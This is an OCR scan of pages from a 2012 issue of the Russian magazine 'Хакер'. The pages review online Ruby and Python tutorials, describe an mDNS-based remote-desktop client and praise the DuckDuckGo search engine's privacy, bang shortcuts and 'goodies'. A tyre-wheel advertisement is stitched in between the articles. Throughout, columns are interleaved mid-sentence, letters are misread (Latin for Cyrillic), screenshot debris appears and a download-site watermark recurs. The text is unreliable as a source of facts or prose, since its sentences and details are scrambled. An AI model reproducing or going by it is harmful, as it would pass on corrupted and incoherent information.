знаешь, насколько вост р ебов анными сейчас

лифицироваться на более востребованное

экспертов по и нформационн ой безопасности :

на пр авление, то

к примеру, известный фреймворк для хакера

являются прогр амм и сты на

Ruby оп Rails.

За

Ruby

в связке с

Ruby

оп

Rails

грамот ными с n е циали ста ми , готовыми быстро

-совершенно точно очень неплохой вариант.

поднимат ь растущие веб-проекты, г о няют ся

И выучить его сейчас можно довольно быстро.

RUBYMONK

Ruby популярен

и среди

Metasploit !и в т ом чис ле все е го модули! на­ писаны им енно на Ruby.

предлагаются более сложные упраж нения.

Совершенно улетно реали зована проверка

выполненных заданий !код решения, есте­

rubymonk.com

___

ственно, надо набирать прямо в браузере,

TIWIRw:/yF'r1rr'erl8a!·•"':8f8Ctlve

Проект представляет собой интерактивную

а редактор даже поддержива ет подеветку

ЬOOkthalt\e'Piyaule&lnRuoy

книгу, состоящую из пятид есяти упражнений,

си нтаксиса!. Д ля каждого упражнения за даны

~~----­

позволяющих быстро пройтись по основам

контрольные точки, по которым проверяет-

Ruby.

Тебе говорят: << Ма ссив из элеме нт ов

соз дается так- п опробуй>>. И ты пробуешь.

ся правильнесть решения. Таким образом, в любой момент можно п онять, что именно н е

Далее объясняется что-то еще,- ты опять

нравится интерактивной системе, какой ре ­

же сразу проверяешь это в действии. Как

зультат должен быть на выходе, и где в твоем

только зна ни й становится достаточно, тебе

решении спряталась ошибка.

TRY RUBY

.....

.....

r.-"-'~illlmtt,.,..,_..,., J.""_

-а..и...r~-- tllaJ --Vw-'"'• ,./!J

вообще никогда не имел д ело с программиро­ ванием, t гу гuЬу будеттебе по зубам. Правда,

tryruby.org

в это м случае обучение, вероятно, зай мет чу ть больше времени. Всего нужно пройти восемь

_

Если у тебя был мало-мальский о пыт програм­

уроков и справиться с более ч ем пятьюдесят ью

......... ....... ........... ···- ,......._.......... _..._...._

мирования, то эта интерактивная абучалка

задания ми. Пр оект стал еще лучше после того,

""""''-"'"'-··-··..... ,..........,

буква льно за пятнадцать минут позволит тебе

как е г о взяла п од свое крыло уже упомя н утая

пройтись по базовым п он я ти ям языка

Ruby

и понять, что к чему. Впрочем, даже ес ли ты

ТНЕ INTRO ТО RAILS SCREENCAST 1 WISH 1HAD

выше школа

C<>de school.

у .... _

- · - - -" .. ,__

.oll•lw!ototn~

Теперь это практи­

чески идеальный реп е титор.

--

убойный скринкаст с говорящим на зван и ем

<< Скринкаст для чайников в

Rails ,

The lntro to Rails Screencast 1Wish 1Had

с которо­

го я хотел бы начать са м >> . В 40-минутном

blt.ly/zqLVPH

ролике в самой доходчивой форме рассказы­

вается, как исполь зова ть

со циируется с по пулярнейшим фреймв орком

Rails. После это го << Models>>, <<TDD >>, <<Act i ve R ecoгd>>, <<RSpec>>, <<СаруЬага>>, << Paг t ial s>> уже н е буд ут

для пос троения веб-приложений

пугать. Э т о не ед ин ственный скринкаст для

Ка к уже было отмечено, язык

Rails.

Rub y четко Ru by

ас ­

Оп

Последний п омо г взлететь не одному

слова

начинающих: немало видеоуроков для про­

старта п у из Силиконовой д о лины, в том

граммистов самого разного уровня можно

числе и Twitteг'y. Дж еффри Вэй- главный

найти на другом профильнам проекте­

редактор сервиса

гailscast s.com.

tutsplus.com-

записал

RAILS FOR ZOMBIES

Downloвd

"""""'""'"'

Записанные на неизменно высоком уровне уроки, приправленные здоровой дозой

railsforzombles.org

юмора, сопровождаются упражнениями,

состав л енными и з си т уа ций , с которыми

После того lи только после тогоiJ как у тебя

каждый день встр ечаются программи сты на

будут необходимые знания

<<ре л ьсах>>. Е сли э т ого курса т ебе окажется

Rai ls

и некоторый

о пыт в созда ни и веб- прил оже ни й, обязатель­

мало, то у авторов есть продолжение

но нужно пройти бесплатный курс <<Ре ль с ы

fог ZomЬies

для зомби>> от все той же школы

только за денежку.

Х АКЕР

c<>de school .

2>>,

<< Rails

Atutor1attot •pploa.tюn

Ruby

mf:'ntv.sн\g

оп

Rails

но его можно пройти уже

033

04/159/ 2012

www.epidemz.net

PCZONE

Python Python- один

О

из nоnулярнейших языков

python ·

максимально быстрого nрототиnирования

бывала ситуация, когда нужно было что-то

nрограммирования среди с n ециа ли стов по

сложных информационных систем. Вnрочем,

оnтим и зировать, и каждый раз знания языка

информаЦионной безоnасности. Огромное ко­

nрототиnом дело часто не ограничивае тся:

оказывались очень nолезны.

личество nодключаемых библиотек nозволяет

найдется немало nроектов, код которых на­

Б о лее того,

быстро nисать сложные сценарии и всnомога­

nисан на

серьезные nриложения в качестве скриnтоео­

Python,

и которые выдерживаю т

Python

часто встраивают во многие

тельные nриложения. Многие nрофи вообщ е

огромные нагрузки. Изучить этот язык можн о

го языка, чтобы иметь богатые возможности

считают

даже nросто для себя: у меня десятки раз

для создания сценариев.

Python

идеальным инструментом для

ПОПРОБУЙ PYТHONI

надо даже устанавливать интерnретато р. Это

--

очень удобно: любой nрив еденный nример

trypython .org

можно тут же nоnробовать в действии. Однако

Лучший сnособ быстрого старта- nоnр о­

Python

бовать онлайн-обучалку

за nравильнопью действий и не nредлаг ает

TN.......,P... ...

на э т ом интерактивность заканчивается : Т гу

Python.

П о инте­

задачки для nроверки знан ий . Весь курс со­

анало гичным nроектам для

не менее, nозволяет nройти базовый курс

стоит из семи частей !nять по Python и две по lг on P y thonl. Забавно, что сам сервис написан

обучения nрямо в браузе ре. На ком nьютер не

на S il veгlight'e.

JS и Ruby,

но, тем

ОНЛАЙН - РЕПЕТИТОР PYTHON

.......,,..,,_,..

.... .. ........ ..

тривать значения разных структур данных

~

lпеременных, объектов в куче, фреймов

скольких заранее заготовленных сниппетов,

курса по nрограммированию в известной

взятых из учебной программы

американской кузнице nрограммистов М ас­

Забавно, что здесь есть не с колько зада чек,

сачусетского технологического института.

которые nредлагают соискателям на долж­

Его идея заключается в том, ч тобы визуали­

ность программистов. С решениями. Сервис

Python

в

MIT.

~

_.... ___

•••

,,. ~,н,.,

.. , .......... ""''-'"' ···01 ,_

.. ........"'

<oot .. l·(t•~o·-··

'"

,,. ... ,.. -·-•-.cl

...... a ••., .. ao< J

.,.._

"• ·•r:•

••":[::,;

1"'........ 011

.. , ...,,.,._,,.,щ, ,н....,.м

lo• 1 '" tt' oo !l. lo•IAJI

набранный прямо в браузере, или один из не­

Забавный сервис был разра ботан в рамках

. . .-.. . . .

_

, .. ..,,....,, .....-.•.................. _ ...... .................................

1

:,:·~: ~:::.::;;-; .;с•

стэкаl. Это может быть произвольный код,

оn 1i n е pytho ntutor.com

~

=~-·-·

никак не nроверяет тв о й код, не с ледит

рактивности сервис си ль но nроигрывает

- ___

_". ... ,_..ooo"•••-N< ........ - .......... ,.,,...llt ......... ......... ,.-.;.......... ..... ..... "-'to<.,..

·-

- / )ffl5;lt710

·~~~~

IAitl • ..,,

.............

1

.. "

:; :;~~:. :el:•. :c.:. .:: ·" '· '''

зировать выполнения сце нар иев, написанных

можно было бы назвать онлайн-отладчиком,

в озможности подключения модулей, выnол­

на Pyth oп, позволяя пошагово выполня ть их

однако для выполнения сложных сценар иев

нения 1 / 0-операций и так далее. Кстати, код

!вперед-назад! и на каждом шаге просма-

использовать его уже нельзя из-за отсутствия

проекта nолностью открыт.

У РОКИ

PYTHON

ОТ

GOOGLE

должности разработчиков!. Теnерь этот курс

~('l< o~k

rl

GoogloCodiUroiYe!aity

nолностью открыт и бесnлатен. Он включает

cod е .goog le .com/ed u/la ng ua ges/go og 1е­ python-class/i ndex.html

в себя пошаговые мануалы , видео лекций,

а также много уnражнений для тренировки и закреnления материалов. Первые занятия

Google

давно славится тем, что активно ис­

nользует у себя

Python.

В комnании есть даже

касаются базовых nонятий в Python !вроде

строк и списков!, далее- nоследовательно

___.._____ ___.. --··"'.. ___ _ - ·-----------·----·--·-----------·--· ·~

,

",

сnециальный курс, nредназначенный для

освещается разработка nолноценных nри­

людей, у которых nока мало оnыта в nрограм­

ложений, работающих с файлами, nроцессами

в

мировании !естестве нн о, о н и не работают на

и НТТР-соединениями. Над о сказать, что

сценарию и умещается в два дня.

Google

этот курс проходит по и нт енсивному

ПОПРОБОВАТЬ ТЕХНОЛОГИЮ! Интерактивные обучалки, nозволяющие

к nримеру, nознакомиться с набирающими

быстро nрочувствовать новую технологию,

оборот функциональными языками

nоявляются, как грибы nосле до ж дя . Ни же я

nрограммирования или новомодными

nривожу е ще несколько nодобны х nроектов ,

базами данных .

кото ры е не вошли в сегодняшний обзор,

• Haskell: tгyhaskell . org ; • Scala: simplyscala.com;

но будут очень nол езн ы , если ты хоче шь,

NoSQL

• Eгlang : tryerlang.org; • Cloju г e: try-clo jure.org; • MongoDb: t ry.monqodb.orq; • RedisDb : tr .redis-db.com · • С#: Ьit.ly/A4HR9m; • Язык за nро сов SQL: sql-ex.ru .

ХАКЕР

03~

www.epidemz.net

04/159/2012

MUGELLO - HYPER SILVER

VAIRANO

INDY 500

SILVERSTONE

NARDO

ROTARY FORGED WHEELS

MALLORY

CARTHAGE

VALENCIA

SEPANG

ZOLDER

CADWELL

NURBURGR ING RF

INTERLAGOS RF

МАХ

BROOKLANDS

STOWE

LONDR INA

JARAMA

SNEПERTON

DONIN GTON

WILLOW

STRIP

Visit our website to view the complete line of TSW Wheels

TSW is dedicated to being the world 's premium provider of staggered wheel applications and has more one-piece staggered wheel sizes than any other wheel brand in the world.

www.epidemz.net

Реклама

www.epidemz.net

Открыть Заnуск от 11t·18H~1.,

Configur ation

,

Start Application Session

Open in Window Switch

Start Desktop Session user@testpc rl·lain \lo/i ndO'Л'S Displa':/

Compress to "opera .rar" and email Закреп~п ь в t·1еню "П~'ск"

Configure От прав11Ть

DisaЫe

Выре за ть Кот1ровать

Discoпnect

Start Application Start Desktop

Соз дать ::1рлык Уда Л11ТЬ

Пере11t•1ен ова ть

Open File

r1Je ~\'

Connection

ant@ant-vb fYiain Unix Display

www.epidemz.net

"

start Applteat10n

-

Start Oesktop

~

Нost

Multicast DNS lmDNS) является способом

<< представляя » себя другим участникам сети .

Username

использования привычных программных

Таким образом все машины в сети обновляют

Password

интерфейсов

свой mDNS-кэш и получают информацию и о

DNS внебольши х сетях, где

нет необ х одимости в обычном DNS-cepвepe.

новых хостах/сервисах . Чтобы аннулировать

Проще говоря , использование

свое « nредставление >> !наnример, в случае

mDNS

позволяет клиенту оnределить IР-адрес

выключения машины) хост должен отnравить

х оста без помощи централизованного

геsроnsе - пак е т с

DNS-

TTL

использует зарезервированную з ону

хост, посылает широковещат е льный

Протокол

зaпpoc . Соответствующий хост отвечает на этот заnрос широков е щат е льным ответом ,

mDNS <<. local >>.

mDNS исnользуют такие системы обнаружения сервисов как Bonjouг IApple) и Avahi ILinux) .

SSH

v on port 22

О Verify Identification

=О . По умолчанию

cepвepa . Машина, ищущая конкретный

mDNS-

Via

192. 168.0.4

И!т

) ( Cancel

Р Connect

Ручное добавление сервера для nодключения

ХАКЕР

038

www.epidemz.net

04/159/2012

!Url~

..... ,~

Co•••••:low....ouroi!J

'1J

1!\. -

Connected to server 'testpc' Successfulty logged in as user on testpc. Тhere 1s one other user connected user Тhere 1s one !1ve sesSion: Ma1n W1ndows D1sp!ay

www.epidemz.net

8

PCZONE

Мария « Mifrill» Нефедова lmifri llliJreal.xake p.rul

~~GOOGLE v

ЭАТО&ОИ.

НЕТ>>

Mbl 10 ПРИЧИН

ОБРАТИТЬ ВНИМАНИЕ НА ПОИСКОВИК DUCKDUCKGO.COM Каким поисковиком ты обычно пользуешься?

Google

или

Яндексом? Или, быть может, ты по какой-то причине юзаешь

Biпg? А ведь инструментов для поиска винтернетегораздо

больше, и помимо закрыты х коммерчески х поисковиков,

в

первый раз о таком с лышишь? Я

начинает напрягать. Не надо нам навязывать

тоже. Но ведь так было когда-то и с

G+- мы

Google. DuckDuckGo- это

ную сеть от Google или нет.

гибридный

гикавекие альтернативы . Одна из таки х альтернатив-

OuckGo.com .

Duck-

DuckDuckGo в свою

поисковик , главные черты которого- класс­

очередь является классическим поисковиком,

ный поиск , отсутствие поискового спама,

каким был

минимальное количество рекламы [ее можно

развития . И что здорово, - он отлично ищет

Google в самом

начале своего

полностью отключить в настройках) и щепе­

информацию! Правда, пока только на англи й­

тильное отношение к модному на западе слову

ском языке: с русскоязычным сегментом сети

«pг i vacy>>:

у него явные проблемы. П оисковик уже давно

DuckDuckGo

не следит за пользова­

телями, сохраняя их анонимность . Мы нашли

приглянулся гикам из Силиконовой долины .

десять причин, почему его стоит по меньшей

В прошлом году аудитория составляла всего

мере взять на вооружение.

200 000

шпионящи х за каждым твоим шагом, существуют отличные

и сами решим , использовать социаль ­

человек в день, а в этом сервис уже

перешагнул отметку в

1

1 000 000

посетителей

Это просто поиск . Давно прошли те

ежедневно и, если верить статистике

времена, когда

[ du c kdu ckg o . co m / tгa f f i c . ht m l ), эта цифра

Google был

просто

поисковиком, а на << чистой >> странице

продолжает расти. А с ноября

2011

года

поиска. Сейчас же нас пичкают рекламой

DuckDuckGo стал Linux Mint 12. Это,

и дополнительными сервисам и. Взятый

популярный десктопный дистрибутив

поисковиком nуть на социализациютоже

сегодняшний день .

выдачи аскетично выводились рез у льтаты

поисковиком по умолчанию на минуточку, самый

ХАКЕР

www.epidemz.net

Linux

на

04 /159/ 2012

<<Google следит за тобой. М ы- нет»

о

•

DuckDuck Go

Google tracks you. We don't.

About

Search better at

•

W11fo1mortin~IIN11~

DuckDuck Go

Главная страница

DuckDuckGo аскетична ,

чиста и навевает

мысли о Google.

Во т так продвиг а л с вой пои сковик В айнберг. Этот билборд

Поис ковик уже сегодня может по х вастаться тем , что был

висел в Сан·Франциско, и Гэб ри елу это об х одилось в

удостоен внимания кр у пных изданий .

7 000

$в месяц.

Никакой слежки за пользователями.

ци ю 5М5 и типы зво н ков. Страшно? А ведь это

этого пока небольшого, но гордого поис­

Е с ли ве ри ть соз д а т ел ям, т о з д есь

даже не самое скверное. Google может собирать

ковика, в красках повествующий об истории

цар и тпо лн ая а н о нимн ост ь . Н аз в а ни е

не только историют в оих звонков, он также

поиска в целом и о том, почему сбор данных

этой стат ь и взято из глав н о г о лозу н га п роек т а:

ч итаеттвою переписку и знает все о твоих пере­

о пользователях- это очень и очень плохо .

2

<<Google следит за тобой. М ы- нет>>. Замечал

движениях с точностьюдо пары метров за

ли ты, как реклама в поисковиках умело

последнюю пару лет. Благодаря синхронизиро·

подстра ив ае т ся по д т е запросы, кото ры е т ы

в ан н ым с Gmail контактам знаеттвоих друзей

делал ранее? Н а сай т е ht t p : Udoпttгa c k . us

и знакомых, а основываясь на подписках

приво д ится отли ч ная д е м о н с т рац ия того, ка к

и запросах к поис к у - знает о твоих интересах.

не и звестно, но сейчас результаты поиска

это п роисхо д и т . Ситуация ста л а особе нн о

А еще знае т о твоих покупках и храниттвои

удивляют своей чистотой и точностью. На

актуал ь ной после того, как Google смен и л свою

документы в Google Docs.

сегодня можно сказать точно, что 5ЕО­

политику ко н фи д е н циал ь нос т и. Скажи ч естно,

DuckDuckGo не хранит IР-адреса , не ведет ло­

оптимизаторам DuckDuckGo пока по барабану,

ты читал новое соглашен и е о ко н фиде н ц и ал ь ­

гов пользовательской информации и исполь­

и это рад ует.

ности? А меж д у т ем с 1 ма рт а 2012 оно вс т у п ило

зуеткукитолько тогда, ко гда это действи ­

в силу. Согласно неко т о р ым п у н к т а м, Google

тельно необходи м о. Соз д атель поисковика

в открытую декла р и р ует сбо р телефо н ных

заявляет: <<Duck Duck Go не собирает никакую

логов, то есть номе р а телефонов, номера

личную информацию пользователей и не

телефоно в вы зы в аем ы х або н ен т о в , но м ера д ля

д елится ей. Вот и вся наша политика конфи·

пятидесяти разных источников, включая

переа др есации, д ату и врем я з в о нк ов,

денциальности>> . П о адресу duckduckgo.com /

Yahoo! 5еагсh 8 055, Wikiped ia, Wolfгam Alpha

дл ит ельнос т ь з в о н ков, мар шр у т ную и нф ор м а-

pгivacy.html т ы найдешь настоящий манифест

и собственного поисков о го робота. Одним

Помимо п е речисл ен ног о наличествуют

т о чное время в любом городе мира и так далее .

мн огочислен ны е пол езности, связанные

Например , ответом на зап ро с << агеа of china >>

СИСТЕМА

з

'

В DuckDuckGo практически отсутствует

спам , которым забиты все коммерче­ ские поисковики. Надолго ли это, увы,

Гибридный поисковик дает больше результатов . Результатыпоиска

DuckDuckGo агрегируются из

GOODIES

Чтобы лучше понять одну из самых прог р есс ивны х фишек пои ско вика-

goodie s -

пре дл а гаем т ебе несколько примеров . Начнем

с математическими выражениями ,

[площадь Китая! будет точное, как в апт е к е:

с технических .

различными формулами, ко нвер тацией, трансформацией и так дал ее, дал ее , дал ее .

<< 3.705 mil l ion mi2 [square m i lesl [world ran k : 4thl , assumiпg china is а соuпtгу >> [3.705 млн .

свой IP :1 . Е с ли же свой собственный

Та кже nоддерживается немало так н азываем ы х

квадратных миль [4-я по величине стран а

IР ' шник тебя не интересует, можешь ввести

казуальных

Запрос

<<ip address>> поможет теб е узнать

в поисков у ю строку любой уже и з вестный

в мире! , ес ли под с ловом << Китай » имелась

goodies:

П о и ск по д атам и фактам. Спр оси у

Du ck·

в виду страна! .

Du ckGo: << deat h date of li nco ln >> [дата смер ти

Реализован поиск п о различным 10, б у дь

сообщит теб е , к какой географич еской точке

Лин ко льна !, и вверху страницы nоисковой

это трекинг-номер п ос ылки [вводишь

IP от но си т ся, а также пока жет ее на ка рте: << 64.2 07.122 .151 is in : Cheyenпe, W yomi пg , Uпited States [8200 21 >>. Для чего нужны goodi es useгag e nt , whois

выдачи ты уви д ишь строку << А пswег:

номер отправл е ния в строку поиск а

Saturday, Apгil 15, 1865 >> [Ответ: суббота, 15 апреля, 18651 . Конечно, есть в Du ck Du ck Go конвертер

и про с то нажима е шь Go! , очень у добно! ,

и им подобны е, объяснять, над еюсь, не

ра зличны х величин и калькулятор , как же

друго е .

нужно.

без них?

Запрос вида

Имеется множество г е ографи ческих

а дрес , скажем ,

64.207.122 .151 , и Du ck DuckGo

межд у народный с танд а ртный номер книги или

ISBN , телефон и многое , много е

Рандомные goodies особенно забавны .

Запрос << heads о г tails >> [орел ли решкаl­

<< U+0 153>> даст ответ: <<с hагасt ег 339 : о е - Latin s mallligatuгe о е; Unicode U+015 3; Decimal = 339 ; HTML = œ>> .

ies , а также goodies , связа н ны х со временем

н е что иное , как во з можность подбро с ить

и часовыми поя сам и . Кстати, поискови к

виртуа льн ую монетку . А ведь е щ е есть

Для генерации паралей и ключ е вы х фраз

польз уе тся картографическим сервисом

гandom numb eг, гoll die, гando m woгd и даже

OpenStreetMap .

сакрамента льно е- this о г that о г nоп е . Для

=

=

используй << p asswoг d

* woг d s >> ,

гд е • -

* strong >> и « passphгase

любо е цифрово е з нач ение.

Так же можно ге н е рировать uuid, guid .

good-

Возмо жен поиск места на карте по заданны м

х ардкорщиков предлагается вари а нт гo ll

коо рдин атам и по адресам , можно у знать

3d1 2 + 4.

ХАКЕР 04/159/2012

www.epidemz.net

PCZONE словом,DuсkDuсkGо--своеобразная

список Ьапg ' ов доступен здесь: duckduckgo.

Впрочем , нужно заметить, что в случае

оппозиция

com / bang . htm l lпpeдyп режда е м-- он огромен).

формулировки запросов на русском языке поля

Google

и всем коммерческим

<< о тв ет >> ты , скорее всего, не увидишь. У Wolfгam

поисковикам в целом, которая просто не могла

рано или поздно не появиться. Отдельно стоит рассказатьпроiЬапg.Даннаякоманда

Моментальный отве т. Когда в поис-

5

ковике можно набрать <<гап dоm

конкретный товар на <<Амазоне >>. Допу стим, это

triaпgle 1.5 2 3.2>> lпериметртреугольника со с торонами 1.5, 2, 3.2), <<md5 this>> !посчитать md5-хэш для слова <<this>>l и тут же получить

Скажем, тЕ!бе нужно найти какой-либо

к которомуобращается

DuckDuckGo,

с великим и могучим пока не слишком хорошо.

пumЬег>> !случайное число!, <<peгimeteг

позволяет напрямую обращаться к другим пои сковым машинам и к сотням сайтов.

Alpha,

6

поисковика ты можешьлегко отключить показ рекламы, задать

регион, включить

HTTPS по умолча нию ,

часы. Наб ери в поисковой строке « lam azoп

ответ-- это называется

watch >> !или просто «la watch>>), и автоматиче­

самых убойных фишек поисковика, и таких

у казать параметры открытия ссылок и даже

ски попадешь на amazoп . com, в уже готовую

goodies действительно мн о г о -- как техниче­

на с троить внешний вид

поисковую подборкус часами. Благодаря этой

ских и математико-прогер с к их , так и казуаль­

каждый аспект поведения поисковика можно

команде можно легко искать на

ных ! подробнее читай во вр езке ). К слову,

оптимизироватьдля себя, и это приятно.

ltwitteг,

lwikipedia,

lyoutube ,

в благах, репазитариях и на

goodies.

Это одна из

Гибкая настройка . В настройка х

Практически

поискови к по многим вопр оса м с веряется

сотнях дру г их ресурсов. Кстати, также

с Wolfгam

работаютсокращения:

вычислительных алгоритм о в . Благодаряэтому

'g lgoogle), lj limages), lyt

DDG.

Alpha --базой зн а ни й

и набором

Система горячих клавиш . Плох тот

7

ресурс, который в наши дни не

lyoutubel, lwiki и так далее. Дополнять список

есть возможность ввести в с троку конкретный

Ьапg'ов могут и сами пользователи, для э т ого

вопрос и получить на него к о нкр е тный ответ

с этим полный порядок: общаться с сайтом

достаточно заполнить простую форму. Полн ый

прямо на странице, не прох о д я п о с сылкам.

можно вообще без и с пользования мыши или

-

Onlmt Servrces

!s1mplyh~red

о

DuckDuckGo

•

......

Google: !gaccess !gau !gbk !gЬiogs !gbooks (!gb) !gcache !gcal !gde !gdocs (!gd) !gfюance (!gf! stock) !gg roups (!gg) !g1mages (!91 !g1m) !glatest (!gweek !gmonth !gday !g24 !gyear) !gl1nk !glocal! gmail !gmaps (!gm) !gmusiC !gnews (!gn !gnde) !gnz !googleuk (!guk) !gpat !gphotos (!gp) !greader (! gr) !grelated !gscholar (!gsc) !gshoppюg (!gs) !gtranslate (!gt !gturl) !gtrends !gus !g1•ideos (!gv)! gv1ewer (!gvle\V) !gwp !gv-pde !lmgtfy !dw !gas !gbm !gl !gmob !google (!g !gssl) !gplus !gplusp Jobs: !caree rbuilder !jobs !lmkup !monster !reed

поддерживает хоткеи. У

(!sh)

1 l.optop

Maps: !arcg1s !bюgmaps (!bn1aps) !n1apqt1est !openstreetmap (!openstreet !osm) !zemiJel•ld !zun11 Scarch: !bing (!Ь) !Ьiekko !ddg !dogp1le !ecos1a !entire1veb !everyciiCk !goosh !kazau !mamma! myallsearch !redz !seznam !smallsafaГI !spez,fy !start !startpage !swagbucks !у1рру !ask !exalead! fluid1nfo !fuu !gЫast !geega1n !giГ !karnыdecay !ka)•ak !koders !metacrawler !sp !unscatter !1vf1 !yahoo (!у !)•jp) !yandex (!уа !yaen !)•andexm) !)•eah\vay

Р ек л ама в

Du ckDuc kGo. Лег к о отключается

в настройках .

Scarch ( DDG): !anyr !help !safeoff

19460

Computing Jnfo ip address

Scarch (non ·US): !naJdi !soso !)•andex !youdao !ba1du !eks1sozluk !gnfr !opt1mot !)'IIV

map 19460

64.207.122.151

Grography

Scorch

( Р2Р ) : !)•асу (!рее г)

з

!seeks !xdcc

ames st., 02142

useragent

37.771008, ·122.41175

Scarch (Privote): !scroogle (!s) !1xqu1ck

о

populat•on of metro at

Scorch (Rcal ·time): !kurrently !lavva !oneriot !topS)' !evГI !tawlk Social: !tw1tter (!hv !tweet) !123people (!123р) !43thlngs !d1aspora !dmoz !facebook (!fb) !flattr! fonplus !fotolog !foursquare !fГiendster !ggroups !grepl1n !hiS !1dent1Ca !Je ICk !l1nked1n (!li) !myspace! г !shoutltout! veetgrid !\Vink !xanga

whois duckduckgo.con ~о Ylёl 1NhoisAPI • 368798

cap1tal of ch1le

golden ratio 5:?

elevat•on of salt lake ci

U+ 4034

area of chma

unicode ·

distance philly to lond<

Sociol (intl): !gulesider !orkut !skyrock !wleOIVIe Sociol no1vs/links: !del~eious !digg !dllgo !historious !jetsl1de !meneame !metaf1lter (!mefl) !ne\VSI'Ine! pastebln !pinboard (!рЬ) !redd~ !searchyc (!newsyc !hn !hackerne1vs !ус) !stumЫeupon (!stumЬie)! subredd1t !subreddit !thefullwiki (!fullwiki) !wikinews !wykop !xmarks Tools: !ЬiЬisrv !bugmenot (!login) !eggtimer !freenode !geocaching (!geocache) !geonames !gmane! gmap !gookokugo !gopher !1d1oms !kotobank !linguee !local !map !markma1l !oopon !pgp !proxy !qr! random !Гipestat !tюyurl !tld !trademarks !tz !val1date !v1ewpdf !yubnub

1Z0884XV0399906189 9780061353246

1g8gg3Sm1g7123 10 1 ,g

Tools (U RLs): !013 !cache (!cached) !downfor (!updown) !1sgd !1sup (!is1tdown) !longurl !vgd !1vayback (! archive !archived) !weboftrust (!1vot !m)'"Ot) !yinl1nks

e>duckduckgo

Tracking: !capost !dhl !dhlde !dhlgn1 !fedex !1ps !lasersh1p (!laser) !ontrac !package !purolator !sfs !tnt! track !ups !usps

Rt~ndom

newsnow !nzbmatrix (!nzb) !nzbs !reuters !ynews Broadcast: !abcne1vs

!ЬЬс !сЬс

guid epoch 3:38:34 Р М Е

http://Wolframalpha.co g

~ ~

Formult~s

vo lume of а sphere area of

а

trapezoid

yes or no

!cbsnews !cnn !foxnews !msnbc !npr !pbs

)1)

roll die

International: !globeandma1l !globo !heise !lntaiJazeera !locita !redtram !smh !sunt1mes !thereg1ster! thestar

throw dice

Mogazinc: !ch1lango !csmon1tor !econon11St !newsweek !newyorker !roll1ngstone !salon !slate (!slatefr)! telegraph !thenation

roll 3d1 2 + 4

И х д е йствит е льно ОЧЕНЬ много .

Ph ysic:~l Prop~rt i~s

heads or ta1ls this or that or non e

!bang.

uuid

3/15/20 11

random word 7·9

Business: !Ьiznar !Ьioomberg !business1veek !cnbc !fool !forbes !ft !mormngstar !msq !wsj !yfinance (!

Примерно сот а я часть шорткатов

reg exp /(.')/ ddg

random number

random word

Aggregators: !aljazeera ! ар !Ьinsearch !Ьiogs !Ьiogspot !bne1vs !cdt !kickne\Vs !news (!n) !newsmax!

~

pa ss phrase 4 words

12343435 time

ran d 1 10

News

~

(323) 319-6 185

r: duckduckgo v•a tagdef

Tools (fundro ising): !ind1egogo !kickstarter !rockethub

Computing Tools password 15 strong

IDs

density of the earth mass of jupiter gravitatio nal consta nt

throw s diCe

circumferen ce of the

www.epidemz.net

е. ~

radius of the moon

Н ек оторы е вариации

goodie s.

ХАКЕР

042

~

Si010

04 / 159/ 20 12

« Google сле ди т за тобой . Мы - нет>>

тачпада. Н иже - маленькая подсказка.

8

Передвижение по сайту :

Работает по защищенным протоко­

лам . У Du ck DuckGo есть короткое

доменное имя ht t p:U ddg .gg [это, к слову, на 4 с имвола короче, чем goo gle.

1' или j - следующий результат; -J., или k - предыдущий результат;

1или h- к поисковой строке; esc- выйти из поисковой строки; t-наверх;

m- к первому результату; 1 или 1-открыть выпадающее меню lb aпg.

Много дополнительных плюшек .

1Q Гики любят

Du ckDuckGo,

поэтому нет

ничего у дивит ель ного в п о явлении

вспомо г ательных инструментов, к оторые

com: l, которое редиректит посетителя на за щищ е нную SS L- вepcи ю сайта - https:// duckduckgo.com.

удобнее. Уже сейчас ес т ь спе циальные

П оисковиком можно пользоваться через Тог.

[другие в разработке!. Поиск м ожно вст роить

Адрес внутри сети - 3g2upl4p q 6kufc4m.oпioп.

п рямо в систе м у с помощью проектов вро д е

м огу т сде лать работу с поисковиком еще мобильные приложения для Aпdг o id и iOS

M ultiSeekeг [ bit. l y/d hЫV F I. Также есть

Открытые результаты: Епtег или 1 или о- открыть подсвеченный

9

результат ил и сразу открыть самый первый;

Ctгi/Cmd+Eпteг - открыть результат на фоно­

DDG можно использовать как прокси.

н есколько ад дон ов для популярных браузе ­

позволяе т зайти на любой сайт через

ров. Создатели даж е подняли чатбота [ye.gg/ chatbo tl , который р або т ает через ХМРР

Команда« !ргоху адрес-сай та>>

[Jabbeг l . Результаты можно получить

вой вкладке;

прокси. Для этой цели DuckDuckGo использу ­

d- поиск по конкретному сайту [который вы­ д е лен в результатах!.

ет различные беспла тны е прокси [что, пр авда,

моментально , отправив сооб щ е н ие на а др ес

плохо сказывается на скорости!.

imraddg.gg. ::x:::

РЕТРОСПЕКТИВА принимает. << Это было бы неправильно , в е дь

и доступна любому желающему на

энтузиас та Гэбриела Вайнберга . Лишь

мы некоммерч еская компания> >, - поясняется

lgithub.com/duckduckg о ] .

после получения инвестиций у поисковика

на сайте. Вместо dопаtе 'о в пользоват е лям

Откуда взялось эт о дурацкое название ? Оно

появилось не ско лько постоянны х сотрудников

предлагают активнее нести информ а цию

было выбрано практически случайно . В одном

и собственный офис в американском городе

о

из интервью Гэбриел поя с нил : << На са мом деле

DuckDuckGo-

проект одного единственного

GitHub

техноло гич еско го института IMITI . Поисковик

Du ck DuckGo людям. DuckDuckGo написан на Регl и Ja vaScг ipt с использованием библиотеки YUI. Для

для н е го- дал е ко не первый проект. Его

обслуживания ог ромного колич ес тв а

Во зм ожно, это связано с п о п улярной в США

со ци а льн ую сеть

клиентов используется связка пgiпх ,

д етск ой игрой под на званием

Паоли . Гэбриел- выходец из Массачусетског о

в один прекрасный день оно просто выскочило у меня в голове , и просто мне понравилось >>.

Th e Name s Databa se купила ком пания Uпited Dпliпe за 10 000 000 долларов С ША . Из начально Du ck DuckGo самостоятельно

50

финансировался лично Вайнбергом , но сейчас

собственные сервера, так и мощности Ama zoп

предлагает использ овать

су щ ес твует также и за счет небольшага

ЕС2 . Для х ранения данны х используются

« подакать~еслитранслитерироватьэто

Fa stCG I

и

memcached ,

запущенные FгееВ-

Goose >> .

глаголу << пог у глить >> IGoogle itl, Вайнберг

и Ubuпtu. При этом использ уютс я как

количества рекламы !которую , напоминаем,

Postgг e SOL+bu caг do, СОВ , Solг, BeгkelyDB,

можно отключить] . Пожертвований проект н е

Ча сть исходного кода

Du ck Du ckGo

<< Duck Duck

Кстати , в качестве альтер нативы

53 .

открыта

<< Duck itl,, -

то ес ть

на р у сский, или << поуткать>>, если дословно

п е р е вести

:1.

